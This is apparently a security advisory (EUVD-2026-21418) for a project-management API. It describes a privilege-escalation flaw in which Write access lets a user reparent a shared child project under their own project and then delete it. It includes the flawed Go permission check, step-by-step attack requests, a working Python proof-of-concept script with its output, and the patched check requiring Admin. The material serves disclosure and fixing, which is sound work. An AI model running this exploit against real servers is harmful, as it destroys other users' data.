Python EUVD-2026-21418

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.CanWrite(s, a)  // Only checks Write, not Admin
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
}

1. victim creates "Parent Project" (id=3)
2. victim creates "Secret Child" (id=4) under Parent Project
3. victim shares Parent Project with attacker at Write level (permission=1)
   -> attacker inherits Write on Secret Child (no direct share)
4. attacker creates own "Attacker Root" project (id=5)
5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden
6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5}
   -> 200 OK (reparenting succeeds, only requires Write)
7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK
   -> Project deleted. victim gets 404.

import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

victim_token = login("victim", "Victim123!")
attacker_token = login("attacker", "Attacker123!")
# victim creates parent -> child project hierarchy
parent = requests.put(f"{API}/projects", headers=h(victim_token),
                    json={"title": "Parent Project"}).json()
child = requests.put(f"{API}/projects", headers=h(victim_token),
                    json={"title": "Secret Child", "parent_project_id": parent["id"]}).json()
# victim shares parent with attacker at Write (attacker inherits Write on child)
requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token),
            json={"username": "attacker", "permission": 1})
# attacker creates own root project
own = requests.put(f"{API}/projects", headers=h(attacker_token),
                    json={"title": "Attacker Root"}).json()
# before: attacker cannot delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE before reparent: {r.status_code}")
# 403
# exploit: reparent child under attacker's project
r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker_token),
                json={"title": "Secret Child", "parent_project_id": own["id"]})
print(f"Reparent: {r.status_code}")
# 200
# after: attacker can now delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE after reparent: {r.status_code}")
# 200 - escalated to Admin
# victim lost access
r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim_token))
print(f"Victim access: {r.status_code}")
# 404 - project gone

DELETE before reparent: 403
Reparent: 200
DELETE after reparent: 200
Victim access: 404

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
    canAdmin, err := p.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !canAdmin {
        return false, ErrGenericForbidden{}
    }
}